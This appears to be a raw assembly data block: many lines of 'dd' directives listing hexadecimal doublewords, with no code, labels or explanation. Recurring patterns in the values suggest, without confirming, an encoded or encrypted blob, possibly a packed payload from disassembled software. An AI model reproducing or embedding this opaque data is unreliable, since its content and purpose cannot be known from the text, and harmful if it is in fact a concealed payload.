		dd 0AA5E8E5Eh, 2DD9A054h, 1FE8FD4Ch, 1EFBDA38h,	924F5AFAh
		dd 92E840A7h, 9259CF9Bh, 77D5FDB8h, 92E8FD4Ch, 9385C79Bh
		dd 92E8FDB8h, 0C02BDFD8h, 0AA5C60ADh, 92230F12h, 92EF9E9Bh
		dd 0BAE0FDB8h, 92E81A13h, 93A148B8h, 72E8FDB8h,	0C1E7FFC3h
		dd 2DB3FD4Ch, 61E8FD26h, 7B922A50h, 9BC8FD26h, 92E8F474h
		dd 71400540h, 4B6567D3h, 40ABFF91h, 4A46FACFh, 20A21664h
		dd 0F0F7EC04h, 6D1DDB9Eh, 252B0B6Ah, 89E4EB34h,	3DAE8992h
		dd 89E739D4h, 79C5ABD5h, 9A16D94Ch, 8D1DF0EEh, 8D1C761Fh
		dd 0E018B732h, 0FC7B17D7h, 8AC007AAh, 2A2134EAh, 14F9840Bh
		dd 811DD926h, 0BB039087h, 0DBB5029Ah, 7CDFBF51h, 0EB1DD9FDh
		dd 64AA53ADh, 3545176Ah, 2E2C2A54h, 1E3892DCh, 0C424DF3Bh
		dd 89E73E00h, 8D1C7A1Fh, 8A6D1332h, 2E030E5Ah, 881B73BEh
		dd 8AC3F516h, 0E99F8992h, 89E73997h, 8D2D42D5h,	237DD932h
		dd 0B39EF141h, 0BC1DDB92h, 8D1DD926h, 0CB8F598Ch, 0B8E3698Eh
		dd 1F063B00h, 7C9F66A4h, 8AC778E5h, 8D1C4132h, 6D1DD4CFh
		dd 1852A2F0h, 20DE3786h, 998243Fh, 0EC1DD926h, 0B774D925h
		dd 0B81DD932h, 0B85FF07Ch, 0B17B8FC6h, 28BAD750h, 1A1F0178h
		dd 89E73F65h, 70B52432h, 0BC1DD9FDh, 8D1DE59Eh,	5B41FCC9h
		dd 0B086F5F5h, 8D0081A1h, 0C24C2432h, 0F01DD925h, 4EF0D925h
		dd 4C02664Ch, 29B244Ch,	6D1DD94Ch, 8D1D9114h, 85BAFE32h
		dd 0EAC014C2h, 64877D1Fh, 6E84A642h, 8F9B4602h,	1CA32432h
		dd 0E51DD926h, 4C29D925h, 8D1C414Ch, 0BC1DD4CFh, 8D1DE59Eh
		dd 3E67D768h, 0D649FAEBh, 89EB0446h, 8AA95632h,	0DE22D932h
		dd 2D0EAE5Bh, 1A818A79h, 0C8DF5098h, 0D61DD94Bh, 38108C1h
		dd 215A9C55h, 8D1DDE41h, 29B03432h, 0DFE2DC85h,	957DD94Bh
		dd 9F8D38DEh, 73F05C5Dh, 9A16D94Ch, 8D1DF0D4h, 8AD511D5h
		dd 0CB16D932h, 8D1DD926h, 0F216D932h, 8D1DF0D5h, 8D222092h
		dd 9647D932h, 0AA6541A6h, 7C60F557h, 4C24D923h,	2011244Ch
		dd 1A1DD93Fh, 8D1F2CC7h, 80792432h, 8D1DD94Ch, 0BD7F7232h
		dd 8D1DD932h, 9ED82E46h, 0BD816B2Ah, 8D1DD931h,	0C16CC16Ah
		dd 9DEB628Ah, 6044B023h, 1982623Eh, 8CFC9814h, 7D9F2432h
		dd 0BC1DD9FDh, 8D1DF0D5h, 0CA934A7Dh, 1372970Dh, 31C8DC9Ch
		dd 8D1C4D73h, 0B0AA34EAh, 16622F64h, 40AC08A6h,	8CFE16BEh
		dd 8D1F5632h, 0F44FD932h, 8A7FF488h, 0C39F2432h, 0F01DD925h
		dd 647DD925h, 8D1A21E9h, 0A04D932h, 94806D21h, 0F0CF13A9h
		dd 1D9E713Ch, 8CF3235Dh, 6A0DD932h, 4324CE80h, 8AC058B6h
		dd 0A1143932h, 8D1DF1BFh, 0AFC820B2h, 0BDCEE178h, 6D1DDE04h
		dd 177A52C5h, 7F4A4395h, 4C25D923h, 8D1A564Ch, 0B7F3D932h
		dd 8A97641Bh, 7301CC5Eh, 89443FC8h, 0ECFC31ACh,	2647741Dh
		dd 0ABFF0462h, 1A1DDE58h, 8D1CC041h, 8D1F5632h,	0C8AAD932h
		dd 0EEC311F6h, 9F16D925h, 8D1DF0E0h, 8AD243D5h,	5C16D932h
		dd 8D1DD94Ch, 7674D932h, 9B1DD94Ch, 0EA58329Bh,	8AC00BC6h
		dd 0BC1DD4CFh, 8D1DF0D3h, 0BC77E073h, 42319FDh,	5ECC0FEh
		dd 7783F4D8h, 7DA6C37Fh, 0D16D9FDh, 8D1DD9FDh, 0BC1DD4EAh
		dd 8D1DF0EBh, 90CEC566h, 0CE8E7DAAh, 50588DDEh,	9F7DD923h
		dd 2179298Bh, 0BC1DD93Fh, 8D1DF0A9h, 4C65ED5Ch,	525E31A1h
		dd 8D010224h, 8D1F6632h, 6D1DD426h, 89E73515h, 0AA2D1732h
		dd 0B13693h, 9B31E588h,	42A2E94Dh, 8C8082E3h, 8D1F569Bh
		dd 3BE2D932h, 236A5CA8h, 4D74D923h, 0EE1DD94Ch,	0A0436C15h
		dd 0CE87C672h, 20DECC0Fh, 0F314393Fh, 8D1DF1C7h, 9435FC07h
		dd 7CBE4530h, 0B374D923h, 1B1DD9F8h, 0A32C438Ch, 0AA3CF440h
		dd 620ADFADh, 2D0F27A9h, 0BC1DDE5Ch, 8D1DD932h,	0C4C8671Fh
		dd 8D0DF944h, 8AD55632h, 8AD7D932h, 0FAB15CC7h,	6D1F6648h
		dd 40F9253Ah, 0B28683B1h, 8D1DF0E0h, 8D9933E2h,	0E9BC0F1Eh
		dd 0C7A1EFAEh, 9F80E60Bh, 8A8A3474h, 5FA03932h,	8D3AFAD3h
		dd 7F24D932h, 0EB74D923h, 0F51DD925h, 0DBCE8315h, 0EF60DF5h
		dd 6D1DF0A9h, 4824336Ah, 7BE417D3h, 0CB16D923h,	8D1DF0D5h
		dd 8D1F2092h, 0A920D932h, 0D0A2B5Eh, 8F9BF420h,	9972432h
		dd 0EC1DD926h, 0D87DD925h, 5990B978h, 8D1F2FD8h, 0C158E832h
		dd 1C13BB00h, 0FAE36B32h, 44D2E4A4h, 4409F6C5h,	440940ABh
		dd 0E55E18h, 9F975E2Ah,	363DBC6Ch, 0BF85FD71h, 0D729C1Bh
		dd 4464327Ch, 64D2E418h, 5CF600F0h, 44094265h, 0D3D2E170h
		dd 44D2EB8Fh, 44D17F18h, 44D64E75h, 0D372E418h,	44D10CF7h
		dd 44094B18h, 44534875h, 3C72E418h, 44D2FD06h, 36CF8550h
		dd 0EA330658h, 221DC92Fh, 4225C262h, 0D3D2E638h, 44D2EBE5h
		dd 44D2F018h, 44B80775h, 9CD7E418h, 44D2FD5Fh, 442D06ABh
		dd 138FB618h, 0B00A786Eh, 367D5691h, 0B7400C9Ah, 0DD9635E2h
		dd 44D2F01Bh, 44DE6475h, 0D879E418h, 0CED2E41Bh, 945AAE7Bh
		dd 0B6BB543Bh, 0B06EDB35h, 0DC78D3A5h, 20D2E4A4h, 4F2FD119h
		dd 0F216CBC4h, 44098B46h, 56DA4638h, 44D2E40Eh,	0DFC41602h
		dd 3CA94BEFh, 44D2E4E2h, 21AC151Fh, 0CB1EFA49h,	44644BA3h
		dd 0C2AE3118h, 64D2E40Eh, 69FEC28Dh, 0DC9D70ACh, 4BD2E4A4h
		dd 1CB15A76h, 8DC2EBA1h, 67550156h, 35612F8Eh, 44D2FD73h
		dd 5B0D7910h, 0CFAF6F07h, 34D1BC92h, 0A95976BFh, 0D3D2EBFDh
		dd 3EEE01E5h, 3EE9AF7Ch, 4E0287Ch, 597E3471h, 47962873h
		dd 0D5EF2846h, 0BC1AF28h, 995352DBh, 0C05263F9h, 0FC6A3A15h
		dd 0A739AD01h, 3EEF3C7Fh, 96EF2DDFh, 4B962808h,	0BEF2846h
		dd 4D63FBE0h, 614EC8DBh, 14AFB6CEh, 0A317D1B5h,	0B1F7887Fh
		dd 0CE482E3h, 3ED677FCh, 29F4287Ch, 3EEF31C3h, 3E4ACA0Fh
		dd 0F8B8B77Ch, 0D4D3A282h, 0BB142967h, 0C21ADF36h, 3E8F69EBh
		dd 3E1BAF7Ch, 0E70C287Ch, 0E57BD810h, 80EB1305h, 0C8D06BFFh
		dd 3E2518F1h, 0F3499F9Ch, 3EF6B029h, 0F41A287Ch, 0B63014A0h
		dd 388BE3A4h, 0A719C898h
		dd 7867F48h, 0FFE62872h, 0B8BFFD72h, 4FEF2872h,	3EEF2808h
		dd 6C497DD8h, 299094AFh, 0CF3853C8h, 1B37DBBCh,	0FBCC97E9h
		dd 3EEF8072h, 3ED282D9h, 0FFE3287Ch, 3E64AF72h,	82C9287Ch
		dd 818EDE0Ah, 24492043h, 9FEF2767h, 0FF962808h,	97EF2872h
		dd 0D28F321Ch, 0FBD7A844h, 3EEC3D6Dh, 72A6887Ch, 9988D8h
		dd 3EEEB372h, 93EF2D08h, 3EEEF507h, 58474C7Ch, 0A2DD56FBh
		dd 0A496287Fh, 0EEEF287Fh, 50E3FF83h, 7AC9C933h, 8E058DE7h
		dd 0A4962872h, 0F2EF287Fh, 497191Ch, 7630110Bh,	266C5F36h
		dd 3E263719h, 0CF9B0C7Ch, 86FD1950h, 1EBB392Fh,	23BCB2A9h
		dd 3EEEF549h, 3EEE010Fh, 4010CC7Ch, 9EDFC9BFh, 6821B534h
		dd 4B962873h, 1EEF2846h, 0A83BB448h, 7818A188h,	0FEB5A7C4h
		dd 0A2DDC1EAh, 3E22AF7Fh, 8BA7287Ch, 0BA7E7B02h, 87D0E171h
		dd 96F5EBF1h, 0A38AC253h, 74FE887Fh, 3EEF276Eh,	5BA3D34h
		dd 3E263ABAh, 4FEF2D08h, 3EEF31DBh, 6DC1AEDFh, 0AC6587EEh
		dd 0D7AA3CF5h, 607CB824h, 64350A5h, 588F280Bh, 0F2281FC6h
		dd 3E0E4F36h, 0AB76FD7Ch, 93EF2808h, 78F42808h,	3EEF31DBh
		dd 3EEF500Fh, 56C29A7Ch, 1B4A1A8Fh, 2F3FEE30h, 0ADAD3D28h
		dd 0A9EF3CBAh, 3EEE03E7h, 1FCFD7Ch, 0A9EF2872h,	3EEEC0C1h
		dd 4FEF287Ch, 3EEF31D9h, 532A8622h, 20141A03h, 0B20537A8h
		dd 468E21CEh, 3EEF31DBh, 3EBE5507h, 38A4527Bh, 973EFD28h
		dd 196691CFh, 516C56CCh, 3EE9E254h, 87DB287Ch, 9F4FF876h
		dd 1EEF2A9Fh, 3EEEB292h, 0A412287Ch, 770D73FDh,	0DD31F12Ah
		dd 0AC10A728h, 1EEF2A9Fh, 14DEE854h, 0B164BC4Ah, 3E263ABCh
		dd 3EF483D9h, 4596287Ch, 0B0EF287Ch, 0D86C3316h, 53B72340h
		dd 0D07E782Bh, 4FEF287Fh, 3EEF31DBh, 6468F068h,	4EF2D990h
		dd 0F966CF76h, 99CCFC9Fh, 273FBCF2h, 7AF4283Eh,	3EEF2846h
		dd 3E64E19Ch, 2DD2287Ch, 4B15DA78h, 99AC5BF1h, 3E26871Ah
		dd 0E73FED4h, 0A9EF2841h, 3EEE016Dh, 3EEEAF7Ch,	9C1A287Ch
		dd 0FFC02C94h, 3E1AAF72h, 4A5C287Ch, 71EBA1EEh,	3E3CA9CDh
		dd 3E8DAF7Ch, 8091287Ch, 456D9EEh, 8F719923h, 0FE08F093h
		dd 483C4A73h, 96EF2DEDh, 9F8F2808h, 4FEF2A9Fh, 3EEF3195h
		dd 32F7622Ah, 43974757h, 3EE0971Ah, 3E8D77D9h, 78F4287Ch
		dd 3EEF31C4h, 3EEEF50Fh, 60A0B07Ch, 93B362E7h, 468F2808h
		dd 3EEF30F7h, 6BB1E62Fh, 99D82045h, 0A16631F2h,	2372A05Ch
		dd 3EEF5019h, 457F617Ch, 61EA7341h, 9319812Eh, 0C5CB8406h
		dd 0A9C68D83h, 3EEF2758h, 80F3B37Ch, 3EEF319Eh,	3EEE030Fh
		dd 9F07147Ch, 0A32897C7h, 24EF287Fh, 550EE2F1h,	0FF95F6A7h
		dd 6EF2872h, 6938F9F4h,	8E203885h, 77B4C305h, 3EE9EB1h
		dd 446A1138h, 0D4E84CAEh, 0AA61A338h, 0E6220DEEh, 5334E733h
		dd 8E661584h, 236619B1h, 2392CA96h, 8FEC4396h, 0CB631814h
		dd 128FC689h, 85DF118Ah, 6848A3E0h, 23674C38h, 1EFA8ED3h
		dd 85FFE2h, 820FACF4h, 13EBCD75h, 12074399h, 56D118D6h
		dd 776743E3h, 9160CD75h, 0B30743E2h, 24AD2C18h,	0ECB83777h
		dd 6EEC9459h, 2366114Dh, 301E4396h, 7D6743ACh, 3E79B72Eh
		dd 4EC357DCh, 0C3E4FE61h, 0E6A06A36h, 0E2D0DE0Fh, 0ED676D7Dh
		dd 236619F0h, 25D07A96h, 9561AE91h, 373DEF2Fh, 0AB805187h
		dd 9B5B5BDAh, 1C524940h, 3676C52h, 5DCE7340h, 0E65DC864h
		dd 34600F33h, 96369B35h, 84676D82h, 8E0757D4h, 23661E2Bh
		dd 0B6A10996h, 89A662D7h, 0A0674395h, 7DFF9A8Eh, 836E5872h
		dd 93E7E7FEh, 23C2E731h, 0E70F4396h, 23F74270h,	0F76A396h
		dd 4826A2F5h, 3661538h,	23C2E5F3h, 5A647496h, 66FD0AB6h
		dd 84EF6CACh, 99807B7Ah, 60DF504Eh, 0D90940F6h,	0B611A3E1h
		dd 780D8C6h, 23661EF3h,	6B008396h, 63F04423h, 0E5CFC824h
		dd 0F96E4398h, 85E05F89h, 237BCAE0h, 13014396h,	0D2B4C18Fh
		dd 0A2FD26AEh, 0E6220C88h, 0B8E1678h, 0C569E6Bh, 45A8C3FBh
		dd 2A4C1BF4h, 23B0CA96h, 3E564396h, 0C38CFD60h,	87FA673Eh
		dd 8E674395h, 2366112Ch, 0E3FB1896h, 12674398h,	0E681A840h
		dd 17674398h, 0DA7A7519h, 23B4EA31h, 36704396h,	4B820FC0h
		dd 23661060h, 56371896h, 846743E3h, 236619EDh, 0C84EF296h
		dd 8947963h, 411E8F22h,	5AE30B8Eh, 0E0CFF115h, 5E344398h
		dd 54CFDFE4h, 55855ED0h, 0E4B1AE50h, 17B3BF71h,	87E16AADh
		dd 23AEA02Bh, 2305CA96h, 517A4396h, 31C7E0BDh, 0EE859796h
		dd 0D27878FCh, 9A7AF302h, 0FA853153h, 1CF9966h,	5DD8EA10h
		dd 5B86C3C1h, 0D3E4F51Dh, 0F4116B9h, 530A251Dh,	0D3E52AA5h
		dd 0D16815FAh, 0FAD4AE49h, 1D88A712h, 0E585BD58h, 87622CD1h
		dd 0D1AF2534h, 78E50BF5h, 0D3E5249Ah, 729F7D1Ah, 0D3DC78A8h
		dd 76AC251Ah, 6E5251Ah,	0ABD6CD2Ah, 2E34306h, 71B7F80Fh
		dd 7804A855h, 0D3E4F6D5h, 7DF2FE1Ah, 67E52557h,	987A7874h
		dd 0E509F7C1h, 0D3E52AA2h, 0D3118DA7h, 7BAC251Ah, 3BE52557h
		dd 0D8D8D535h, 0AE83F95Fh, 0BBF39F2Dh, 0D3418585h, 9067451Ah
		dd 162C5739h, 0D3E4F768h, 4416E01Ah, 0B1696C62h, 0BBF44E59h
		dd 0D3418288h, 0D30DAC1Ah, 0E025251Ah, 0A8054EABh, 538D3AE2h
		dd 0D005BE9Eh, 4C76A311h, 13E5251Eh, 0D376AC1Dh, 0C944251Ah
		dd 98D11FFEh, 163AE0DFh, 54022A3Bh, 10F0D99Ch, 0D3E4F51Dh
		dd 0D91015B2h, 1EE52520h, 0CF17F54Bh, 8D85DE72h, 0B8F4005Bh
		dd 41F49C62h, 94F2A080h, 0D3418362h, 0DAE74C1Ah, 0F947E873h
		dd 4002FBE2h, 0F67586FBh, 0A2E60017h, 0D3E52AA7h, 4ED4CDE7h
		dd 0A11F0F5Fh, 6A988423h, 0A285A8DEh, 0D3E52AF3h, 0CEC3E6EEh
		dd 0F9B2FFC1h, 2CFDBB23h, 10A0EFC9h, 0A93266FDh, 0B204B10Bh
		dd 783C650Ah, 0D3E6609Eh, 0E6B6A81Ah, 8F09F8ACh, 0D3E52495h
		dd 2F16A3FAh, 0D3E4F868h, 9DCA171Ah, 54876D7Bh,	78E10DD6h
		dd 0D341179Eh, 0D307AC1Ah, 8ADA251Ah, 0D3E8AE09h, 898AA68Eh
		dd 1BD17028h, 0DDA673A7h, 0D3E4FA7Fh, 0EE85181Ah, 7C35E262h
		dd 853F0A94h, 6BFA2E29h, 0C681B78Eh, 0D3E52557h, 0D3E4FE69h
		dd 5A4B301Ah, 0CE601512h, 0D743AC35h, 0D6EE9CABh, 9A892B33h
		dd 6BFA25C8h, 0D33C3462h, 0CB43791Ah, 12FBF751h, 1477B954h
		dd 6CB5EA26h, 93FD6C87h, 0D335F55Fh, 0E1AC251Ah, 8CE52520h
		dd 0FEF0395h, 22B6D2B2h, 0E4058130h, 0D191871Fh, 6BFE7962h
		dd 0F3042A58h, 0E0F89332h, 66F94E0Dh, 0DB8503EEh, 0D3E5251Bh
		dd 0D8C5CDEh, 774DB87Dh, 0D3E5BD73h, 0FC874A1Ah, 87C15C88h
		dd 280E87A3h, 9A874EBBh, 0D3E52AF3h, 33A95F4h, 0CA5B51Eh
		dd 67E11AA5h, 0D3E5BC7Fh, 9B674B1Ah, 104549C2h,	80AAFF59h
		dd 72E52557h, 25BB6374h, 0FD09F6F9h, 69413C04h,	6BC58D15h
		dd 0D0413C35h, 0E8E5C056h, 694162A4h, 3B014D52h, 0B44CF591h
		dd 9FA39A88h, 0ECE66F32h, 69413C33h, 0C428006Dh, 0D54284F9h
		dd 71499E14h, 0D57B21CDh, 0FD413C34h, 6284DB14h, 0CD9D84EFh
		dd 7270DC14h, 1F413C35h, 0E2976CCBh, 1DFF7E80h,	173A1EF3h
		dd 69427495h, 649E5935h, 0C2EB313Ch, 0DF8ABBDFh, 0A82FCCB2h
		dd 0FF90CBEEh, 69413C0Ch, 0BFF50BC7h, 3180CFA0h, 44338C56h
		dd 0DED3FB73h, 463E488h, 68ACC89Bh, 771BA72Ah, 510A49BAh
		dd 384EDF7Ch, 517FFACCh, 6825658Eh, 88F21742h, 0A1AF4CABh
		dd 0EA0676Fh, 0F93D3C5Fh, 1CF49FF2h, 0EE65B1F6h, 888CC8A9h
		dd 0C4BD4381h, 238CF092h
		dd 888CCE06h, 6D4D2EEEh, 5D45B022h, 36F6C3DEh, 0C77FFACDh
		dd 3D251298h, 0A94FC47Bh, 0B80F68B1h, 889C5C04h, 145BC8ABh
		dd 328CC8ACh, 221D529Ch, 0D4119F77h, 261F0260h,	51DA28DFh
		dd 0D6FF69E4h, 76D28E15h, 89514204h, 32ACC8ABh,	1F2F9017h
		dd 888CC8A5h, 0F29AC9h,	0BCA1D9A1h, 790F17F4h, 888CD242h
		dd 4C43A0ABh, 48C21608h, 0E7FE95B3h, 479A90B8h,	0FFA9E5B2h
		dd 888CC8ABh, 88878604h, 8BB7C8ABh, 8D05157Dh, 888CC82Ah
		dd 944AD0ABh, 7A848ADh,	888CCE08h, 0B2F98BCBh, 0C0803304h
		dd 214BDDCAh, 888CC89Bh, 32C5A4C3h, 22725D65h, 888CC8C0h
		dd 88F21742h, 0A54562ABh, 168ACEF8h, 897A703Dh,	9EF53C8Dh
		dd 0E405A9B9h, 229B105Ch, 888CCE09h, 4BA315A3h,	0E21E345Dh
		dd 44CD4700h, 50846030h, 26A368AEh, 888CCE6Bh, 8E4A6F68h
		dd 0F48CC8ABh, 7E757369h, 0A4723303h, 59B69E54h, 88EF6106h
		dd 6BE5C8ABh, 0C26E5F90h, 8D5BE1C0h, 0D8CC8ABh,	52C1DD0Eh
		dd 9F47B210h, 4A32E337h, 26A9D602h, 888DFF12h, 8B680473h
		dd 88EBE72Ch, 88B1AFABh, 0C6E1C8ABh, 0E6B0C0FBh, 0FFFFAD2Ah
		dd 2F709B51h, 8960CE33h, 0D3355DADh, 0B8BC7E73h, 2FB7C2D4h
		dd 7A10D247h, 238CC8ABh, 888CC8A8h, 35BD561h, 76B550D4h
		dd 778093A4h, 29A64AC2h, 0FA4249E4h, 0D125C891h, 88F21542h
		dd 482C8DABh, 0A5C1BBFh, 8207601Dh, 71B871ADh, 0A55003CCh
		dd 0F65BCC6Ch, 0AE19C2D8h, 9A9CBCAh, 888CC8A8h,	88925C04h
		dd 8E5BC8ABh, 978CC8ABh, 0B86FF4F8h, 0C98ED80Ch, 88AA5A05h
		dd 0C65BC8ABh, 0B58CC8ADh, 8725468Fh, 4218BCA2h, 4A7FD9DDh
		dd 6C8D7B6Fh, 88F21742h, 0E5F41AABh, 3445FBB0h,	0C056367Ch
		dd 79AC4360h, 0E044DC99h, 888CC8ABh, 0C0BD4381h, 688CF1E5h
		dd 56BB55CDh, 888CDE44h, 0F36311ABh, 2AC3D95Dh,	0F6851461h
		dd 1C52B441h, 97A97EADh, 98796E4Dh, 0F3ADA9EDh,	0E3C1A9CCh
		dd 1C5482ABh, 1AE134B1h, 4952BBEEh, 1C585AB5h, 2E97A2ADh
		dd 59DDA815h, 1CAF031Fh, 86B482ADh, 49DA9C0h, 1CABF1CDh
		dd 804E82ADh, 97B5D8A4h, 9F45FAAFh, 0C614A9C1h,	3EEDB6F8h
		dd 1CA1F1A6h, 72DE82ADh, 1CA615E2h, 0C69EC701h,	3EEB94F8h
		dd 1A03A2A6h, 15482ADh,	769E2161h, 2A66A11Eh, 8F299DCDh
		dd 1D0061CDh, 835482ADh, 488130D8h, 2A147E36h, 8175D6CFh
		dd 1C5482ABh, 0E70505B3h, 0A552BAFFh, 1C5482ADh, 641DFC96h
		dd 0B4B0354Eh, 2FF0AA0Dh, 0F1579E5Eh, 0FA341E30h, 1C52B944h
		dd 2B8386ADh, 1E4117E9h, 349AF0E8h, 1D1A8872h, 2071FFB4h
		dd 1C52CC25h, 62BFE7ADh, 0F3D610CDh, 2652E50Fh,	1CB6F1CCh
		dd 0DB3182ADh, 71C4B6DDh, 0CFB7B87Ch, 53176C51h, 0A68B97BEh
		dd 1C548457h, 98453828h, 6CFD2C16h, 4520173Bh, 0D5EF8D7h
		dd 6DC388E9h, 0FC52E4FFh, 0FC76C3C6h, 2E2409C6h, 742FA812h
		dd 154108E0h, 1CB1511Ch, 0F6B482ADh, 0CAB5F429h, 0FBCE33C4h
		dd 35648271h, 6403A36Ah, 675482ACh, 65B4998Ah, 31A241E4h
		dd 402C2287h, 1ACAF1CDh, 0D5F182ADh, 310FC032h,	161998C1h
		dd 5FE27B1Eh, 0A708E547h, 4AE2D1ACh, 1ED482C4h,	0CFB6A2ADh
		dd 0ACD0786Bh, 1A12A25Eh, 153AE7CDh, 1F5482ADh,	1C595B2Dh
		dd 1CB0F1ADh, 540682ADh, 0BD40E4BCh, 92FF2C49h,	2914A2CAh
		dd 0FE0799B7h, 7FA3D9ABh, 922AD10Bh, 483DB85Dh,	355482ACh
		dd 1CA2F014h, 0D0882ADh, 138CA17Ch, 4813B6A0h, 0A6811B4Bh
		dd 1C54841Fh, 28BA153Ch, 4BF6474Ch, 9C4F6B67h, 410F82AAh
		dd 9DB6A2ACh, 0FDB8804Ch, 0D1BAD9ABh, 5005D10Ah, 0FA39C75Ch
		dd 4ABFE6D9h, 402DA5B3h, 1CABF019h, 0A3DD82ADh,	0C5FBF5EBh
		dd 0D3B903B1h, 20033E73h, 1C52BE27h, 1CB6F1ADh,	5EF082ADh
		dd 42116A64h, 0FCB49850h, 0AEDE715Ah, 0E47BDE04h, 1998A360h
		dd 0A25482ADh, 7209D52Bh, 0F6B2D10Bh, 4716F2EEh, 1C4FF1CDh
		dd 4DB682ADh, 693A497Dh, 0C5BD9C30h, 1C54841Ch,	1EDCE7CDh
		dd 1F5482ADh, 1C595B26h, 0E435A9ADh, 2B9C8EA2h,	0A554841Eh
		dd 1C548457h, 34B77898h, 0F7871A5Fh, 0F5FA016Fh, 0F35824C7h
		dd 6C06666Eh, 0E35482A5h, 4FE5A6AFh, 0B8EF7224h, 76A3D102h
		dd 48C66379h, 0E927EC1Dh, 186EC48Ah, 1C5A081Ch,	222882ADh
		dd 1C52B683h, 0D4B6A2ADh, 9FC1AF01h, 1C5482AAh,	0F303A5CAh
		dd 625482ABh, 0E19B114Eh, 8F987A88h, 0C05482ADh, 0D962AF90h
		dd 7EAE10CCh, 4DE7B277h, 609902B3h, 1E1A43CDh, 91CF371Ch
		dd 9FBD88ACh, 1C5482ABh, 1E5FDFB1h, 1AB482ADh, 1C52D145h
		dd 0BC7D92ADh, 0F4B99802h, 6D6C0814h, 0FDB43F0Fh, 9DB6A2C9h
		dd 0FD5A76E9h, 46CFB8E1h, 1F5482ACh, 1C52CD29h,	883BA2ADh
		dd 57FF82A2h, 895482A7h, 0E820A599h, 0E6939758h, 126A7ABBh
		dd 41E30904h, 0CABC3DDAh, 1C54841Eh, 1C553E1Ch,	9CBD82ADh
		dd 1C5482AAh, 75AED690h, 8322C961h, 282AA11Ch, 927B3675h
		dd 0E3AF3DB1h, 0A70CC8E9h, 253B860Ah, 1C5E3E1Fh, 2E2C82ADh
		dd 1C52B445h, 0E8BDE9ADh, 0A5408E89h, 0DBEB2EC3h, 1C595B42h
		dd 0C4DBA4ADh, 186F28BDh, 1C5E3E1Ch, 4D0382ADh,	0FCBC4983h
		dd 1C52CA41h, 73178CADh, 49EBC3D5h, 0F330AB7Ah,	69A233CCh
		dd 2CB080ADh, 1C52CA44h, 0BBA0ABADh, 48ED188Dh,	740700F4h
		dd 0A6E56C73h, 1C54846Bh, 958BBDBAh, 270E303Ah,	0ADAA6BE6h
		dd 9DB67B46h, 0D18FA174h, 39821547h, 1E8FEACCh,	27B482ADh
		dd 1C4F3F1Fh, 0A60C82ADh, 1C54841Eh, 0F5DD1E7Fh, 3B83F1B9h
		dd 0B5900624h, 2212B3CAh, 1C4F0129h, 93319AADh,	0C82133CDh
		dd 0A183E930h, 20F7A2FEh, 1C507325h, 6CE8E7ADh,	0A55482A5h
		dd 0C54F00B2h, 0A7148E4Ah, 3EBE9700h, 0DA71C8ADh, 0FAE8FD48h
		dd 0FC50184Ch, 0C54F01D6h, 3A8F0146h, 5946CA6Fh, 34D7144Ch
		dd 0C18C0426h, 0EB06207Ah, 0A23131FFh, 0E26AD2B9h, 0C54FF83Ah
		dd 0C51C8821h, 24990021h, 0FBF8FA3Ah, 0D2574BA0h, 0A5BDDA01h
		dd 0A9933AD1h, 0C40E6578h, 0E273CCCDh, 0C54ADEA5h, 9AE62D21h
		dd 984F001Eh, 91EC071Ah, 73EC0506h, 63F9DAFEh, 0E8C3537Dh
		dd 48F9DA06h, 0AB718389h, 41CC713Dh, 91ACDB74h,	0C520A2CFh
		dd 0C93E0021h, 0D14F0021h, 0ADBF5E39h, 44CF2521h, 0FA16FEA3h
		dd 0A54F01C6h, 6DEC07B7h, 723E8201h, 0E03DFA1Fh, 0B94F0021h
		dd 8E1FABD6h, 1B89A6B9h, 933B4C9Fh, 0C64F0026h,	0D0980376h
		dd 0BBD6C23Dh, 92A0A21Eh, 12C11E4Ch, 71401E88h,	30A2DD1Fh
		dd 0A7FE9DA1h, 766AE033h, 0C54F2E86h, 0C1752B21h, 6E9766A6h
		dd 6C237CCh, 0D3BD0A42h, 0D1F3533Bh, 1C91DFB6h,	32A2F467h
		dd 0C5203BABh, 0E041D4B8h, 74F0021h, 0DB3B296Dh, 1CFA84BBh
		dd 9ACF2DACh, 984F001Eh, 0C3A46733h, 0C9CB7A06h, 0EF77DB20h
		dd 0C54F0028h, 0C557A2CEh, 78A30021h, 0C54F2289h, 0EF8FAE21h
		dd 76335F5Eh, 0A8339DB6h, 0C550307Bh, 5BD0921h,	0E6B16AE4h
		dd 79EDBA31h, 0E7B67A04h, 7429DCFDh, 0C54AD889h, 0DDD7AA21h
		dd 0D7A5A88Ch, 2B6775C5h, 81D98CE6h, 0E824458Fh, 0E913864h
		dd 0C54EFDB8h, 6470E021h, 0E207147Dh, 0C54F273Ah, 5BDA0221h
		dd 89F600FBh, 83D0AB30h, 0C54EFB24h, 0C8DA2D21h, 0E24F0021h
		dd 0C54EFA33h, 0C4AD3721h, 0DC10D8Eh, 933CA496h, 3298A5AFh
		dd 0B4CE855Fh, 0D070D99h, 527BA496h, 0BA72A083h, 0D9321B4Dh
		dd 7619152Dh, 0F3FAB962h, 91F2C6B1h, 0D1BA48Ch,	0ED2E3676h
		dd 0C5D88677h, 2B916BA0h
		dd 4072B78Bh, 321BA495h, 52231FDh, 14C2A2FFh, 0EDC2724h
		dd 0B7FBA496h, 5D9DB7E4h, 0A21BA48Dh, 1F94A3F8h, 0AC5BCAFAh
		dd 472C568Ah, 437C21A7h, 0AD870247h, 1F88A65Ch,	4A26214Fh
		dd 9593214Fh, 98BEAD6Bh, 0C6F0653Fh, 625E0157h,	1932153h
		dd 6BAEE196h, 42B73102h, 9012502h, 3CEDD20Bh, 9AFD0119h
		dd 1BAAB021h, 85D503C7h, 3E7F2972h, 1BACAA2Fh, 71D4A6C4h
		dd 1F40A15Ah, 0D67C214Fh, 1F932152h, 1F96B45Ah,	0BA26214Fh
		dd 3ACC234Bh, 1BEDB031h, 1F932CCFh, 521D344Fh, 5093214Fh
		dd 1B5B20CFh, 1F9037D3h, 4413564Fh, 95F734A8h, 0FF9320BFh
		dd 625F7407h, 0D0932153h, 0A60F1A46h, 439337C9h, 8A19D71Ah
		dd 21CB95CEh, 1F7D8AF8h, 7C9E214Fh, 938B0011h, 75CE3BF2h
		dd 3B598216h, 44160215h, 0EDF73466h, 449320BFh,	1BFD20CFh
		dd 1F90B1D3h, 1BF9344Fh, 0B493214Fh, 1F93215Ah,	3252E1A9h
		dd 0CC27F7EFh, 1F418AC0h, 28A1214Fh, 1BC70605h,	52FF1231h
		dd 55D8DBEh, 0AFFB14E2h, 1BF020C1h, 1F8F3BD3h, 52FB344Fh
		dd 4B93214Fh, 1F7F8A2Fh, 8838214Fh, 6F8975FCh, 6FD0EF1h
